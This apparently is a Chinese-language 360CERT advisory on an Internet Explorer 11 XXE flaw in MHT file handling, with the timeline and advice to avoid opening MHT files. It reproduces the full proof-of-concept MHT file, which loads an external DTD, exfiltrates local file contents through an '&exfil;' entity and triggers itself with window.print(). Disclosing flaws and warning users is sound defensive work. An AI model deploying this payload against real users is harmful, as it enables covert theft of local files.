0x00 漏洞背景
北京时间4月11日,国外安全研究员 John Page 公开披露 Internet Explorer 11 XXE漏洞,成功利用该漏洞将导致本地文件泄露。
微软得知漏洞后,给出”暂时不予修复”的处理结果。鉴于漏洞真实存在,且具有一定危害;360CERT发布预警公告,提醒广大用户,不要轻易打开MHT类型的文件。
0x01 漏洞详情
漏洞源于Internet Explorer 对MHT文件处理不当,如果用户在本地打开特制的.MHT文件,则Internet Explorer易受XML外部实体攻击。
在Windows上,MHT文件默认由Internet Explorer打开。漏洞触发需要CTRL + K(重复选项卡),“打印预览”或“打印”等用户操作,但是可以通过嵌入<script>window.print();</script>脚本自动触发,无需用户进行交互。
漏洞利用代码如下:
From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.
--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: main.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MSIE XXE 0day</title>
</head>
<body>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://localhost:8000/datatears.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
</xml>
<script>window.print();</script>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="contentcell-width">
<h1>MSIE XML External Entity 0day PoC.</h1>
<h3>Discovery: hyp3rlinx</h3>
<h3>ApparitionSec</h3>
</td>
</tr>
</table>
</body>
</html>
--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--
0x02 漏洞影响
漏洞影响win7、win10、server 2012 R2 平台下最新版本的Internet Explorer Browser v11。
漏洞验证视频:https://youtu.be/fbLNbCjgJeY
0x03 安全建议
微软得知漏洞后,给出“暂时不予处理”的决定。
鉴于漏洞真实存在且具有一定危害,360CERT建议广大用户,不要轻易打开MHT文件。包括但不限于电子邮件,即时通讯软件或者其他渠道获得的MHT文件。
0x04 时间线
2019-04-11 漏洞披露
2019-04-14 360CERT对漏洞进行评估
2019-04-15 360CERT发布预警公告